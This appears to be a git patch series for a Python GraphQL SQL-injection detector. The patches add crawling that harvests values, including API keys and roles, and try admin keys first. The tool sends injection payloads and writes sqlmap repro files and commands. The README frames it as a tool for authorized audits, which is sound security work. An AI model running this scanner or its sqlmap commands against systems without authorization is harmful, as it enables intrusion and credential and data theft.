key_roles[key] = role + elif isinstance(rdata, dict): + key = rdata.get("key") or rdata.get("apiKey") or rdata.get("token") + role = rdata.get("role") + if key and role: + key_roles[key] = role + + # BFS/iterative expansion: try fields that require args, filling args from extracted_values + depth = 0 + while depth < max_depth and requests_made < max_requests: + progress = False + for field in query_fields: + if requests_made >= max_requests: + break + fname = field.get("name") + if not fname or fname.startswith("__"): + continue + args = field.get("args") or [] + if not args: + continue + arg_names = [a.get("name") for a in args if a.get("name")] + if not arg_names: + continue + # Build small candidate lists per arg + candidates_per_arg = [] + for an in arg_names: + vals: List[str] = [] + if an in extracted_values: + vals = list(extracted_values[an])[:3] + else: + # try to find related keys by name + for k, vs in extracted_values.items(): + kn = re.sub(r'[_\-]', '', k.lower()) + an_norm = re.sub(r'[_\-]', '', an.lower()) + if an_norm in kn or kn in an_norm: + vals.extend(list(vs)[:2]) + if not vals: + vals = ["test", "1", "admin"] if "id" not in an.lower() else ["1", "100"] + # dedup & limit + vals = list(dict.fromkeys(vals))[:3] + candidates_per_arg.append(vals) + + combos = [] + for prod in product(*candidates_per_arg): + args_dict = {arg_names[i]: prod[i] for i in range(len(arg_names))} + ahash = hashlib.sha1(json.dumps({"f": fname, "args": args_dict}, sort_keys=True).encode()).hexdigest() + if (fname, ahash) in visited: + continue + combos.append((args_dict, ahash)) + if len(combos) >= 6: + break + + for args_dict, ahash in combos: + if requests_made >= max_requests: + break + visited.add((fname, ahash)) + sel = None + return_type_name = extract_named_type(field.get("type")) + ret_def = find_type_definition(types, return_type_name) + if ret_def and ret_def.get("fields"): + sel = pick_scalar_field_for_type(ret_def, types) or (ret_def.get("fields")[0].get("name")) + q = build_query(fname, args_dict, sel) + resp = post_graphql(endpoint, headers, q) + requests_made += 1 + progress = True + rdata = get_field_from_response(resp.get("data"), fname) + if rdata: + collect_strings_from_obj(rdata) + if isinstance(rdata, list): + for item in rdata[:max_items_per_list]: + if isinstance(item, dict): + key = item.get("key") or item.get("apiKey") or item.get("token") + role = item.get("role") + if key and role: + key_roles[key] = role + elif isinstance(rdata, dict): + key = rdata.get("key") or rdata.get("apiKey") or rdata.get("token") + role = rdata.get("role") + if key and role: + key_roles[key] = role + if not progress: + break + depth += 1 + + total_vals = sum(len(v) for v in extracted_values.values()) + if total_vals: + print(Fore.GREEN + f"[+] Crawled and extracted {total_vals} values from {len(extracted_values)} distinct keys (requests made: {requests_made})") + if key_roles: + print(Fore.GREEN + f"[+] Found {len(key_roles)} key->role mappings during crawl") + return extracted_values, key_roles + + def find_matching_values(arg_name: str, extracted_values: Dict[str, Set[str]], key_roles: Dict[str, str]) -> List[str]: arg_lower = arg_name.lower() candidates = [] @@ -427,7 +615,7 @@ def find_matching_values(arg_name: str, extracted_values: Dict[str, Set[str]], k return candidates -def run_detector(endpoint: str, headers: Dict[str, str]) -> List[Dict[str, Any]]: +def run_detector(endpoint: str, headers: Dict[str, str], crawl: bool = False, crawl_depth: int = 2, max_requests: int = 250, max_items: int = 10) -> List[Dict[str, Any]]: """ Ejecuta el detector y devuelve una lista filtrada de hallazgos. - Recolectamos todas las señales en temp_findings por parámetro (field,arg) @@ -456,7 +644,11 @@ def run_detector(endpoint: str, headers: Dict[str, str]) -> List[Dict[str, Any]] query_fields = query_type.get("fields", []) - extracted_values, key_roles = extract_values_from_schema(endpoint, headers, query_fields, types) + # Use crawling if requested, otherwise the simpler extractor + if crawl: + extracted_values, key_roles = crawl_and_extract_values(endpoint, headers, query_fields, types, max_depth=crawl_depth, max_requests=max_requests, max_items_per_list=max_items) + else: + extracted_values, key_roles = extract_values_from_schema(endpoint, headers, query_fields, types) # temp storage: (field,arg) -> list of finding dicts temp_findings: Dict[Tuple[str, str], List[Dict[str, Any]]] = {} @@ -555,8 +747,7 @@ def run_detector(endpoint: str, headers: Dict[str, str]) -> List[Dict[str, Any]] simple_base_norm = normalize_resp(simple_base_resp.get("data")) simple_field_value = None try: - if isinstance(simple_base_resp.get("data"), dict): - simple_field_value = simple_base_resp.get("data", {}).get("data", {}).get(field_name) if simple_base_resp.get("data", {}).get("data") else simple_base_resp.get("data", {}).get(field_name) + simple_field_value = get_field_from_response(simple_base_resp.get("data"), field_name) except Exception: simple_field_value = None @@ -603,6 +794,7 @@ def run_detector(endpoint: str, headers: Dict[str, str]) -> List[Dict[str, Any]] temp_findings.setdefault(key, []) if sql_err: + repro_path = write_repro_request_file_with_marker(endpoint, headers, attack_query, field_name, target_arg_name, payload) temp_findings[key].append({ "field": field_name, "arg": target_arg_name, @@ -612,12 +804,13 @@ def run_detector(endpoint: str, headers: Dict[str, str]) -> List[Dict[str, Any]] "evidence": sql_err["evidence"], "base_response": base_resp.get("data") if base_resp else None, "attack_response": attack_resp.get("data"), - "recommended_cmd": _build_sqlmap_cmd_marker(write_repro_request_file_with_marker(endpoint, headers, attack_query, field_name, target_arg_name, payload)), - "repro": write_repro_request_file_with_marker(endpoint, headers, attack_query, field_name, target_arg_name, payload), + "recommended_cmd": _build_sqlmap_cmd_marker(repro_path), + "repro": repro_path, }) continue if base_norm and attack_norm and base_norm != attack_norm and not base_has_error: + repro_path = write_repro_request_file_with_marker(endpoint, headers, attack_query, field_name, target_arg_name, payload) temp_findings[key].append({ "field": field_name, "arg": target_arg_name, @@ -627,12 +820,13 @@ def run_detector(endpoint: str, headers: Dict[str, str]) -> List[Dict[str, Any]] "evidence": "Baseline != Attack", "base_response": base_resp.get("data") if base_resp else None, "attack_response": attack_resp.get("data"), - "recommended_cmd": _build_sqlmap_cmd_marker(write_repro_request_file_with_marker(endpoint, headers, attack_query, field_name, target_arg_name, payload)), - "repro": write_repro_request_file_with_marker(endpoint, headers, attack_query, field_name, target_arg_name, payload), + "recommended_cmd": _build_sqlmap_cmd_marker(repro_path), + "repro": repro_path, }) continue if base_norm and attack_norm and ("null" in attack_norm) and ("null" not in base_norm): + repro_path = write_repro_request_file_with_marker(endpoint, headers, attack_query, field_name, target_arg_name, payload) temp_findings[key].append({ "field": field_name, "arg": target_arg_name, @@ -642,13 +836,14 @@ def run_detector(endpoint: str, headers: Dict[str, str]) -> List[Dict[str, Any]] "evidence": "Null returned on attack while baseline had data", "base_response": base_resp.get("data") if base_resp else None, "attack_response": attack_resp.get("data"), - "recommended_cmd": _build_sqlmap_cmd_marker(write_repro_request_file_with_marker(endpoint, headers, attack_query, field_name, target_arg_name, payload)), - "repro": write_repro_request_file_with_marker(endpoint, headers, attack_query, field_name, target_arg_name, payload), + "recommended_cmd": _build_sqlmap_cmd_marker(repro_path), + "repro": repro_path, }) continue # simple-response diff (only if simple baseline had meaningful data) if simple_field_value not in (None, {}, []) and simple_base_norm and attack_norm and simple_base_norm != attack_norm: + repro_path = write_repro_request_file_with_marker(endpoint, headers, attack_query, field_name, target_arg_name, payload) temp_findings[key].append({ "field": field_name, "arg": target_arg_name, @@ -658,8 +853,8 @@ def run_detector(endpoint: str, headers: Dict[str, str]) -> List[Dict[str, Any]] "evidence": "Simple baseline __typename differs from attack", "base_response": simple_base_resp.get("data"), "attack_response": attack_resp.get("data"), - "recommended_cmd": _build_sqlmap_cmd_marker(write_repro_request_file_with_marker(endpoint, headers, attack_query, field_name, target_arg_name, payload)), - "repro": write_repro_request_file_with_marker(endpoint, headers, attack_query, field_name, target_arg_name, payload), + "recommended_cmd": _build_sqlmap_cmd_marker(repro_path), + "repro": repro_path, }) continue @@ -694,6 +889,7 @@ def run_detector(endpoint: str, headers: Dict[str, str]) -> List[Dict[str, Any]] temp_findings.setdefault(key, []) if sa_err: + repro_path = write_repro_request_file_with_marker(endpoint, headers, simple_attack_q["query"], field_name, target_arg_name, payload) temp_findings[key].append({ "field": field_name, "arg": target_arg_name, @@ -703,12 +899,13 @@ def run_detector(endpoint: str, headers: Dict[str, str]) -> List[Dict[str, Any]] "evidence": sa_err["evidence"], "base_response": simple_base_resp.get("data"), "attack_response": simple_atk_resp.get("data"), - "recommended_cmd": _build_sqlmap_cmd_marker(write_repro_request_file_with_marker(endpoint, headers, simple_attack_q["query"], field_name, target_arg_name, payload)), - "repro": write_repro_request_file_with_marker(endpoint, headers, simple_attack_q["query"], field_name, target_arg_name, payload), + "recommended_cmd": _build_sqlmap_cmd_marker(repro_path), + "repro": repro_path, }) break if simple_field_value not in (None, {}, []) and simple_base_norm and sa_norm and simple_base_norm != sa_norm: + repro_path = write_repro_request_file_with_marker(endpoint, headers, simple_attack_q["query"], field_name, target_arg_name, payload) temp_findings[key].append({ "field": field_name, "arg": target_arg_name, @@ -718,8 +915,8 @@ def run_detector(endpoint: str, headers: Dict[str, str]) -> List[Dict[str, Any]] "evidence": "Simple baseline __typename differs from attack", "base_response": simple_base_resp.get("data"), "attack_response": simple_atk_resp.get("data"), - "recommended_cmd": _build_sqlmap_cmd_marker(write_repro_request_file_with_marker(endpoint, headers, simple_attack_q["query"], field_name, target_arg_name, payload)), - "repro": write_repro_request_file_with_marker(endpoint, headers, simple_attack_q["query"], field_name, target_arg_name, payload), + "recommended_cmd": _build_sqlmap_cmd_marker(repro_path), + "repro": repro_path, }) break @@ -814,10 +1011,14 @@ def main(): parser = argparse.ArgumentParser(description="GraphQL SQLi mini-detector (Enhanced - extracts values from schema)") parser.add_argument("endpoint", help="GraphQL endpoint URL") parser.add_argument("headers", nargs="?", help="Optional headers JSON", default=None) + parser.add_argument("--crawl", action="store_true", help="Enable limited crawling to extract outputs and reuse them as inputs (opt-in, may increase requests)") + parser.add_argument("--crawl-depth", type=int, default=2, help="Max crawl depth (default: 2)") + parser.add_argument("--max-requests", type=int, default=250, help="Maximum number of requests allowed during crawling (default: 250)") + parser.add_argument("--max-items", type=int, default=10, help="Max items per list to inspect when extracting values (default: 10)") args = parser.parse_args() headers = try_parse_headers(args.headers) - findings = run_detector(args.endpoint, headers) + findings = run_detector(args.endpoint, headers, crawl=args.crawl, crawl_depth=args.crawl_depth, max_requests=args.max_requests, max_items=args.max_items) print_findings_short(findings, TRUNCATE_LEN_DEFAULT) From 84383b8fdb8817c662f70de91b5a1c96a2b02e39 Mon Sep 17 00:00:00 2001 From: jonyluke Date: Tue, 16 Dec 2025 21:53:28 +0100 Subject: [PATCH 17/30] Revise README.md for improved clarity and structure Updated README.md to enhance clarity and structure, including improvements to the capabilities, output, usage examples, limitations, and extending contributions sections. --- sqli/README.md | 154 ++++++++++++++++++++++++++++++++++--------------- 1 file changed, 108 insertions(+), 46 deletions(-) diff --git a/sqli/README.md b/sqli/README.md index 9cf9ec9..51dca78 100644 --- a/sqli/README.md +++ b/sqli/README.md @@ -1,40 +1,118 @@ -```markdown -# GraphQL SQLi Detector (sqli_detector.py) + +# GraphQL SQLi Detector A compact GraphQL SQL injection mini-detector (Python). This script performs GraphQL introspection, attempts a set of SQLi-like payloads against candidate string arguments, and writes reproducible marker `.http` files for use with sqlmap. The detector includes heuristics to reduce false positives and attempts to populate required arguments using values extracted from simple queries. -Key capabilities -- Performs GraphQL introspection to discover Query fields and their arguments. +## Key capabilities +- Performs GraphQL introspection to discover `Query` fields and their arguments. - Attempts to extract real values from simple queries (tokens, keys, names) to use as baseline or to fill required arguments. - Tests string-like arguments with a curated set of SQLi payloads. -- Detects SQL error messages in GraphQL error responses. -- Detects response differences (baseline vs attack), NULL-on-attack, and other signals. -- Writes reproducible `.http` marker files in repro-payloads/ where the vulnerable value is replaced by `*`. +- Detects SQL error messages in GraphQL `errors` responses. +- Detects response differences (baseline vs attack), `NULL`-on-attack, and other signals. +- Writes reproducible `.http` marker files in `repro-payloads/` where the vulnerable value is replaced by `*`. - Produces a recommended sqlmap command for confirmed findings. -- Adds confirmation rules to reduce false positives (report only on strong evidence). +- Uses confirmation rules to reduce false positives (report only on stronger evidence). + +--- -What the detector does (high-level) -1. Runs GraphQL introspection to obtain schema types and Query fields. -2. Tries to extract values from simple, argument-less queries (e.g., lists of objects) to collect tokens / names that may help construct valid requests. +## What the detector does (high-level) +1. Runs GraphQL introspection to obtain schema types and `Query` fields. +2. Tries to extract values from simple, argument-less queries (e.g., lists of objects) to collect tokens / names that may help construct valid requests. 3. For each field with string-like arguments: - Builds a working baseline by trying a few combinations of plausible values for other args. - Sends curated SQLi-like payloads in the target argument. - - Skips results that are simple GraphQL syntax errors. + - Skips results that are simple GraphQL syntax errors (not SQLi). - Detects SQL error messages, response differences, and null-on-attack. - If a required argument is missing, attempts to fill it from extracted values. 4. For confirmed signals, writes a marker `.http` file with the attack request (vulnerable value replaced by `*`) and recommends a sqlmap command. -Output -- Human-readable findings printed to stdout (colored if colorama is installed). +--- + +## Output +- Human-readable findings printed to stdout (colored if `colorama` is installed). - Repro marker files in `repro-payloads/` for each finding; filenames include a timestamp and short hash to avoid collisions. - Each finding includes: - field and argument name + - arguments used for the attack - evidence (error message or description) - marker request path - recommended sqlmap command (uses `-r ` and `-p "JSON[query]"`) +--- + +## Marker (.http) files +- Generated marker files are complete HTTP POST requests to the GraphQL endpoint with a JSON body where the vulnerable value is replaced by `*`. Example: +``` +POST /graphql HTTP/1.1 +Host: example.com +Content-Type: application/json +Authorization: Bearer TOKEN + +{"query":"query { user(id: \"123\") { email } }"} +``` +- The script replaces the attacked value with `*` so sqlmap can inject into `JSON[query]` using `-p "JSON[query]"` and `-r `. + +--- + +## Usage +Basic usage: +```bash +python sqli_detector.py [headers_json] +``` + +Examples: +- Quick run without crawling: + ```bash + python sqli_detector.py https://example.com/graphql + ``` +- Run with authorization header (no crawl): + ```bash + python sqli_detector.py https://example.com/graphql '{"Authorization":"Bearer TOKEN"}' + ``` +- Run with crawling enabled (use only for authorized audits): + ```bash + python sqli_detector.py https://example.com/graphql '{"Authorization":"Bearer TOKEN"}' --crawl --crawl-depth 2 --max-requests 250 --max-items 10 + ``` + +--- + +## CLI flags (implemented in this version) +- `` (positional) + GraphQL endpoint URL. + +- `[headers_json]` (positional, optional) + JSON string or simple "Key: Value" pairs (e.g. `'{"Authorization":"Bearer TOKEN"}'`). + +- `--crawl` + Enable limited crawling to extract outputs and reuse them as inputs. Opt-in because crawling increases requests. -Example output (sanitized) -```text +- `--crawl-depth N` (default: 2) + Maximum crawl depth (BFS levels). + +- `--max-requests N` (default: 250) + Maximum number of requests allowed during crawling. + +- `--max-items N` (default: 10) + Max items per list to inspect when extracting values. + +--- + +## Detection heuristics / confirmation rules +To reduce noisy false positives, the detector reports a parameter only when one or more of the following hold: +- A clear SQL error is present in GraphQL `errors` (matches common DB error signatures), OR +- Two or more distinct payloads produce evidence, OR +- A combination of strong signals (e.g., RESPONSE_DIFF + NULL_ON_ATTACK), OR +- A `NULL_ON_ATTACK` signal confirmed against a meaningful baseline. + +Signals checked: +- SQL error messages in `errors` (MySQL/Postgres/SQLite mentions, syntax errors, etc.) +- Response differences between baseline and attacked request +- `null` appearing in the attack response while baseline returned data +- Differences in a simple `__typename` baseline vs attack (quick sanity check) + +--- + +## Example output (sanitized) +``` [*] Running introspection on https://example.com/graphql [+] Baseline for user.email works with args: {'id': '123'} [!] Found 1 potential SQL injection findings: @@ -48,36 +126,20 @@ Example output (sanitized) -------------------------------------------------------------------------------- ``` -Marker (.http) files -- Generated marker files are complete HTTP POST requests to the GraphQL endpoint with a JSON body where the vulnerable value is replaced by `*`. Example body: -```http -POST /graphql HTTP/1.1 -Host: example.com -Content-Type: application/json -Authorization: Bearer TOKEN +--- -{"query":"query { user(id: \"123\") { email } }"} -``` -- The script will replace the attacked value with `*` in the JSON so sqlmap can inject into `JSON[query]` using `-p "JSON[query]"` and `-r `. +## Limitations +- The script uses a small, curated payload set — not exhaustive. Use sqlmap (the generated markers) for deeper automated testing. +- No built-in concurrency or rate-limiting flags; tests run sequentially. For large schemas or many fields, extend the script to support workers. +- The crawler increases request volume and may reveal or store sensitive data. Use only on authorized targets and with caution. +- Time-based blind SQLi is not tested by default. Add time-based payloads and timing checks to detect blind techniques. +- If GraphQL introspection is disabled, discovery will fail; manual schema input or alternative enumeration is required. +- Complex input objects, deeply nested relationships or custom auth flows may need custom logic to populate arguments successfully. -Detection heuristics / confirmation rules -To reduce noisy false positives, the detector reports a parameter only when one of the following holds: -- A clear SQL error is present in the GraphQL `errors` (matches common DB error signatures), OR -- Two or more distinct payloads produce evidence, OR -- A combination of strong signals (e.g., RESPONSE_DIFF + NULL_ON_ATTACK), OR -- A `NULL_ON_ATTACK` signal confirmed against a meaningful baseline. +--- -Limitations -- The script uses a small, curated payload set — not exhaustive. Use sqlmap (the generated markers) to perform deeper automated testing. -- No concurrency or rate-limiting flags are exposed in this script. For large schemas or many fields, extend the script to support workers. -- The script attempts only simple strategies to populate required args. Complex authentication or nested input objects may not be fully supported. -- Time-based SQLi (delays) are not explicitly tested by default. Add time-based payloads and response timing checks to detect blind time-based SQLi. -- The script assumes the endpoint supports GraphQL introspection. If introspection is disabled, discovery will fail. - -Extending / Contributions -- Add command-line flags for: - - concurrency / workers - - custom payload lists and strategies - - retries / timeout / proxies / TLS options -- Expand payloads to include boolean- and time-based techniques. -- Improve extraction heuristics for nested types and input objects. +## Extending / Contributions +Ideas for future improvements: +- Add boolean- and time-based payloads for blind SQLi detection. +- Add concurrency/rate-limiting (worker pool + token bucket). +- Add more robust extraction heuristics (emails, UUIDs, hashes) and fuzzy matching for argument names. From 9a0ec7314a47c2b6933e7d71f339c58c86b03518 Mon Sep 17 00:00:00 2001 From: jonyluke Date: Tue, 16 Dec 2025 22:52:25 +0100 Subject: [PATCH 18/30] Update sqli_detector.py --- sqli/sqli_detector.py | 700 ++++++++++++++++++++---------------------- 1 file changed, 331 insertions(+), 369 deletions(-) diff --git a/sqli/sqli_detector.py b/sqli/sqli_detector.py index b00fcd2..0adfde5 100644 --- a/sqli/sqli_detector.py +++ b/sqli/sqli_detector.py @@ -1,26 +1,23 @@ #!/usr/bin/env python3 """ sqli_detector.py -GraphQL SQL injection mini-detector (Python) - Enhanced version. - -Mejoras: - - Extrae valores de queries simples (sin args) para usarlos como baseline - - Detecta cuando una query necesita ciertos valores para funcionar - - Prueba combinaciones de parámetros con valores extraídos del schema - - Detecta SQLi incluso cuando se requieren API keys u otros parámetros válidos - - Reduce falsos positivos agregando confirmación antes de reportar un parámetro - (reporte solo si hay evidencia de error SQL o múltiples indicios de comportamiento anómalo) - -Adición: - - Crawl limitado (opt-in) para extraer outputs de consultas y reutilizarlos como inputs - - Flags CLI para activar/configurar el crawling +GraphQL SQL injection mini-detector (Python) - General crawler + extractor. + +Change in this revision: +- Prioritizes admin API keys when populating arguments that look like keys (e.g. apiKey, key, token). + If the crawler has discovered keys with role='admin', those keys are tried first for arguments + that appear to accept API keys. This increases the chance of triggering privileged code paths + that may expose SQLi behavior. + +Note: Crawling remains opt-in via --crawl. Use with authorization and care. """ from __future__ import annotations -import os import re import json +import base64 import hashlib import argparse +import time from datetime import datetime, timezone from typing import Any, Dict, List, Optional, Set, Tuple from urllib.parse import urlparse @@ -122,7 +119,6 @@ def try_parse_headers(h: Optional[str]) -> Dict[str, str]: if isinstance(item, dict): res.update(item) return res - print(Fore.YELLOW + "[!] Headers JSON is not an object/dict; trying simple parse.") except Exception: pass headers = {} @@ -133,15 +129,15 @@ def try_parse_headers(h: Optional[str]) -> Dict[str, str]: if ":" in part: k, v = part.split(":", 1) headers[k.strip()] = v.strip() - if headers: - return headers - print(Fore.YELLOW + "[!] Failed to parse headers; no additional headers will be used.") - return {} + return headers -def post_graphql(endpoint: str, headers: Dict[str, str], payload: Dict[str, Any]) -> Dict[str, Any]: +def post_graphql(endpoint: str, headers: Dict[str, str], payload: Dict[str, Any], verbose: bool = False) -> Dict[str, Any]: h = {"Content-Type": "application/json"} - h.update(headers) + h.update(headers or {}) + if verbose: + q = payload.get("query") if isinstance(payload, dict) else str(payload) + print(Fore.BLUE + Style.DIM + "[>] POST " + endpoint + " BODY: " + Style.RESET_ALL + truncate_str(q, 800)) try: r = requests.post(endpoint, json=payload, headers=h, timeout=TIMEOUT) try: @@ -154,25 +150,20 @@ def post_graphql(endpoint: str, headers: Dict[str, str], payload: Dict[str, Any] def extract_named_type(t: Optional[Dict[str, Any]]) -> Optional[str]: - if not t: - return None - if t.get("name"): - return t.get("name") - if t.get("ofType"): - return extract_named_type(t.get("ofType")) + if not t: return None + if t.get("name"): return t.get("name") + if t.get("ofType"): return extract_named_type(t.get("ofType")) return None def is_string_type(arg_type_name: Optional[str]) -> bool: - if not arg_type_name: - return False + if not arg_type_name: return False n = arg_type_name.lower() return n in ("string", "id", "varchar", "text") def find_type_definition(schema_types: List[Dict[str, Any]], name: Optional[str]) -> Optional[Dict[str, Any]]: - if not name: - return None + if not name: return None for t in schema_types: if t.get("name") == name: return t @@ -195,43 +186,6 @@ def pick_scalar_field_for_type(type_def: Optional[Dict[str, Any]], schema_types: return None -def check_sql_error_in_response(resp_data: Dict[str, Any]) -> Optional[Dict[str, str]]: - if not resp_data: - return None - errors = resp_data.get("errors") - if not errors: - return None - for e in errors: - msg = str(e.get("message", "")) - for rx in SQL_ERROR_SIGS: - if rx.search(msg): - return {"evidence": msg, "pattern": rx.pattern} - return None - - -def detect_missing_required_arg(resp_data: Dict[str, Any]) -> Optional[str]: - if not resp_data: - return None - errors = resp_data.get("errors") or [] - for e in errors: - msg = str(e.get("message", "")) - m = re.search(r'argument\s+"([^"]+)"[^.]*required but not provided', msg, re.I) - if m: - return m.group(1) - return None - - -def detect_graphql_syntax_error(resp_data: Dict[str, Any]) -> Optional[str]: - if not resp_data: - return None - errors = resp_data.get("errors") or [] - for e in errors: - msg = str(e.get("message", "")) - if re.search(r"Syntax Error GraphQL|Syntax Error|Unexpected character|Expected :, found", msg, re.I): - return msg - return None - - def normalize_resp(data: Any) -> str: try: return json.dumps(data, sort_keys=True, ensure_ascii=False) @@ -240,13 +194,13 @@ def normalize_resp(data: Any) -> str: def truncate_str(s: str, n: int = 180) -> str: - if not s: + if s is None: return "" + s = str(s) return s if len(s) <= n else s[:n] + "..." def build_query(field_name: str, args_dict: Dict[str, str], selection: Optional[str]) -> Dict[str, Any]: - # If no args provided, omit parentheses in GraphQL query if args_dict: args_str = ", ".join([f'{k}: {json.dumps(v)}' for k, v in args_dict.items()]) if selection: @@ -317,82 +271,74 @@ def write_repro_request_file_with_marker(endpoint: str, headers: Dict[str, str], def _build_sqlmap_cmd_marker(repro_marker_path: str) -> str: - return f"sqlmap --level 5 --risk 3 -r '{repro_marker_path}' -p \"JSON[query]\" --batch --skip-urlencode --parse-errors --random-agent" + return f"sqlmap --level 5 --risk 3 -r '{repro_marker_path}' -p \"JSON[query]\" --batch --skip-urlencode --random-agent" def get_field_from_response(resp_data: Any, field_name: str) -> Any: - """ - Robustly extract the returned field value from different GraphQL response shapes. - resp_data is expected to be the 'data' value returned by post_graphql (i.e., r.json()). - """ if not resp_data: return None if isinstance(resp_data, dict): - # Typical GraphQL: { "data": { "": ... } } if "data" in resp_data and isinstance(resp_data["data"], dict): return resp_data["data"].get(field_name) - # Sometimes libraries return the field at top-level if field_name in resp_data: return resp_data.get(field_name) return None -def extract_values_from_schema(endpoint: str, headers: Dict[str, str], query_fields: List[Dict[str, Any]], types: List[Dict[str, Any]]) -> Tuple[Dict[str, Set[str]], Dict[str, str]]: - print(Fore.CYAN + "[*] Extracting potential values from simple queries...") - extracted_values: Dict[str, Set[str]] = {} - key_roles: Dict[str, str] = {} - for field in query_fields: - args = field.get("args", []) or [] - field_name = field.get("name") - if not field_name or field_name.startswith("__"): - continue - if len(args) > 2: - continue - return_type_name = extract_named_type(field.get("type")) - return_type_def = find_type_definition(types, return_type_name) - fields_to_select = [] - if return_type_def and return_type_def.get("fields"): - for f in return_type_def.get("fields", [])[:10]: - fname = f.get("name") - if fname and not fname.startswith("__"): - fields_to_select.append(fname) - if not fields_to_select: - continue - selection = " ".join(fields_to_select) - try: - query = f'query {{ {field_name} {{ {selection} }} }}' - resp = post_graphql(endpoint, headers, {"query": query}) - if resp.get("data") and isinstance(resp["data"], dict): - data = resp["data"].get("data", {}).get(field_name) - if data: - if isinstance(data, list): - for item in data[:10]: - if isinstance(item, dict): - item_key = item.get("key") or item.get("apiKey") or item.get("token") - item_role = item.get("role") - if item_key and item_role: - key_roles[item_key] = item_role - for key, value in item.items(): - if isinstance(value, str) and value: - extracted_values.setdefault(key, set()).add(value) - elif isinstance(data, dict): - item_key = data.get("key") or data.get("apiKey") or data.get("token") - item_role = data.get("role") - if item_key and item_role: - key_roles[item_key] = item_role - for key, value in data.items(): - if isinstance(value, str) and value: - extracted_values.setdefault(key, set()).add(value) - except Exception: - continue - if extracted_values: - total_vals = sum(len(v) for v in extracted_values.values()) - print(Fore.GREEN + f"[+] Extracted {total_vals} potential values from {len(extracted_values)} fields") +def _pretty_print_extracted_values(extracted_values: Dict[str, Set[str]], key_roles: Dict[str, str], max_per_key: int = 6): + if not extracted_values and not key_roles: + print(Fore.YELLOW + "[*] No extracted values found.") + return + print(Fore.CYAN + "[*] Extracted values (sample):") if key_roles: - admin_keys = [k for k, r in key_roles.items() if 'admin' in r.lower()] - if admin_keys: - print(Fore.GREEN + Style.BRIGHT + f"[+] Found {len(admin_keys)} admin API key(s) in extracted values") - return extracted_values, key_roles + print(Fore.MAGENTA + " Key -> role mappings:") + for k, r in list(key_roles.items())[:10]: + print(Fore.MAGENTA + f" {k} -> {r}") + if extracted_values: + print(Fore.CYAN + " Field -> values:") + for key in sorted(extracted_values.keys()): + vals = list(extracted_values[key]) + sample = vals[:max_per_key] + print(Fore.CYAN + f" {key}: " + Fore.WHITE + f"{json.dumps(sample, ensure_ascii=False)}" + Style.RESET_ALL) + + +def try_decode_global_id(val: str) -> Optional[Tuple[str, str]]: + if not isinstance(val, str): + return None + if len(val) < 8: + return None + if not re.fullmatch(r'[A-Za-z0-9+/=]+', val): + return None + try: + decoded = base64.b64decode(val + '===').decode('utf-8', errors='ignore') + except Exception: + return None + if ':' in decoded: + parts = decoded.split(':', 1) + return parts[0].strip(), parts[1].strip() + return None + + +def seed_field_queries(field: Dict[str, Any], types: List[Dict[str, Any]], page_sizes: List[int], max_items: int) -> List[str]: + fname = field.get("name") + return_type_name = extract_named_type(field.get("type")) + ret_def = find_type_definition(types, return_type_name) + scalars = [] + if ret_def and ret_def.get("fields"): + for f in ret_def.get("fields", [])[:20]: + fname_f = f.get("name") + if fname_f and not fname_f.startswith("__"): + scalars.append(fname_f) + if not scalars: + scalars = ["__typename"] + selection = " ".join(scalars[:8]) + queries = [] + queries.append(f'query {{ {fname} {{ {selection} }} }}') + for n in page_sizes: + queries.append(f'query {{ {fname}(first: {n}) {{ edges {{ node {{ {selection} }} }} }} }}') + for n in page_sizes: + queries.append(f'query {{ {fname}(first: {n}) {{ {selection} }} }}') + return queries def crawl_and_extract_values(endpoint: str, @@ -400,43 +346,38 @@ def crawl_and_extract_values(endpoint: str, query_fields: List[Dict[str, Any]], types: List[Dict[str, Any]], max_depth: int = 2, - max_requests: int = 200, - max_items_per_list: int = 10) -> Tuple[Dict[str, Set[str]], Dict[str, str]]: - """ - Realiza un crawl limitado: ejecuta consultas sin args, luego usa sus outputs como inputs - para consultas que requieren args, hasta max_depth niveles. Devuelve: - - extracted_values: mapping campo -> set(de strings) - - key_roles: mapping valor_clave -> role (cuando se encuentra junto con role) - """ + max_requests: int = 250, + max_items_per_list: int = 10, + delay: float = 0.0, + verbose: bool = False) -> Tuple[Dict[str, Set[str]], Dict[str, str]]: print(Fore.CYAN + "[*] Crawling schema to extract values for candidate inputs...") extracted_values: Dict[str, Set[str]] = {} key_roles: Dict[str, str] = {} requests_made = 0 - visited: Set[Tuple[str, str]] = set() # (field_name, args_hash) + visited: Set[Tuple[str, str]] = set() + page_sizes = [10, 50, 100] - def collect_strings_from_obj(obj: Any, prefix: Optional[str] = None): + def collect(obj: Any, prefix: Optional[str] = None): if isinstance(obj, dict): + if 'edges' in obj and isinstance(obj['edges'], list): + for e in obj['edges'][:max_items_per_list]: + if isinstance(e, dict) and 'node' in e: + collect(e['node'], prefix) + return for k, v in obj.items(): if k.startswith("__"): continue if isinstance(v, str) and v: extracted_values.setdefault(k, set()).add(v) - elif isinstance(v, list) and v: - for item in v[:max_items_per_list]: - if isinstance(item, str): - extracted_values.setdefault(k, set()).add(item) - elif isinstance(item, dict): - collect_strings_from_obj(item, prefix=k) + elif isinstance(v, list): + for it in v[:max_items_per_list]: + collect(it, prefix=k) elif isinstance(v, dict): - collect_strings_from_obj(v, prefix=k) + collect(v, prefix=k) elif isinstance(obj, list): - for item in obj[:max_items_per_list]: - collect_strings_from_obj(item, prefix=prefix) - - # Prepare a map of field_name -> field_def for quick lookup (not strictly necessary but handy) - field_map = {f.get("name"): f for f in query_fields if f.get("name") and not f.get("name").startswith("__")} + for it in obj[:max_items_per_list]: + collect(it, prefix=prefix) - # Seed: run all query fields without args (or with trivial args) to collect initial values for field in query_fields: if requests_made >= max_requests: break @@ -446,34 +387,59 @@ def collect_strings_from_obj(obj: Any, prefix: Optional[str] = None): args = field.get("args") or [] if args: continue - return_type_name = extract_named_type(field.get("type")) - ret_def = find_type_definition(types, return_type_name) - sel = None - if ret_def and ret_def.get("fields"): - sel = pick_scalar_field_for_type(ret_def, types) or (ret_def.get("fields")[0].get("name") if ret_def.get("fields") else "__typename") - q = build_query(fname, {}, sel) - resp = post_graphql(endpoint, headers, q) - requests_made += 1 - rdata = get_field_from_response(resp.get("data"), fname) - if rdata: - collect_strings_from_obj(rdata) - if isinstance(rdata, list): - for item in rdata[:max_items_per_list]: - if isinstance(item, dict): - key = item.get("key") or item.get("apiKey") or item.get("token") - role = item.get("role") - if key and role: - key_roles[key] = role - elif isinstance(rdata, dict): - key = rdata.get("key") or rdata.get("apiKey") or rdata.get("token") - role = rdata.get("role") - if key and role: - key_roles[key] = role + qlist = seed_field_queries(field, types, page_sizes, 